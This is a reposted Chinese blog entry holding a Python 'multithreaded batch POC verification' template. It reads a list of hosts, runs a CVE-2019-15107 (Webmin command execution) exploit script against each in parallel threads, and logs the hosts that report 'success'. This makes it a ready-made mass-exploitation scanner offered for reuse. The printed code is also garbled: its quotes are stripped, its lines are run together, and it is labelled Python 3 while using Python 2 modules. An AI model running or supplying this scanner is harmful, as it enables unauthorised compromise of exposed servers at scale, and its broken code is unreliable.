python3 多线程批量验证POC模板

python3 多线程批量验证POC模板,第1张

概述#coding:utf-8import threading,Queue,sys,osclass RedisUN(threading.Thread): def __init__(self,queue): threading.Thread.__init__(self) self._queue = queue def run(self):
#Coding:utf-8import threading,Queue,sys,osclass RedisUN(threading.Thread):    def __init__(self,queue):        threading.Thread.__init__(self)        self._queue = queue    def run(self):        while True:            if self._queue.empty():                break            try:                ########################## 代码放入这##################################                  var = "success" #成功的标识,在CVE_2019_15107.py 成功的判断里增加 print("success")                url = https://+ self._queue.get(timeout=0.5)                print(url)                r=os.popen(python CVE_2019_15107.py+ " "+url+" "+"ID") #调用的exp                text = r.read()#获取cmd打印的结果                if text == var:#当cmd输出结果出现success表示有漏洞,将结果存为result.txt                    print(text)                    f = open(result.txt,a+) #保存成功的结果                    f.write(url + "  "+text+"\n")                                 #####################################################################            except:                continuedef main():    thread_count = 10  #线程数    threads = []    queue = Queue.Queue()    f = open("host.txt",r) #读取txt里的ip    sourceInlines = f.readlines()    f.close()    new = []    for line in sourceInlines:        temp1 = line.strip(\n)        queue.put(temp1)     for i in xrange(thread_count):        threads.append(RedisUN(queue))    for t in threads:        t.start()    for t in threads:        t.join() if __name__ == __main__:    f1 = open(result.txt,w)    f1.close()    main()
总结

以上是内存溢出为你收集整理的python3 多线程批量验证POC模板全部内容,希望文章能够帮你解决python3 多线程批量验证POC模板所遇到的程序开发问题。

如果觉得内存溢出网站内容还不错,欢迎将内存溢出网站推荐给程序员好友。

欢迎分享,转载请注明来源:内存溢出

原文地址:https://54852.com/langs/1191414.html

(0)
打赏 微信扫一扫微信扫一扫 支付宝扫一扫支付宝扫一扫
上一篇 2022-06-03
下一篇2022-06-03

发表评论

登录后才能评论

评论列表(0条)

    保存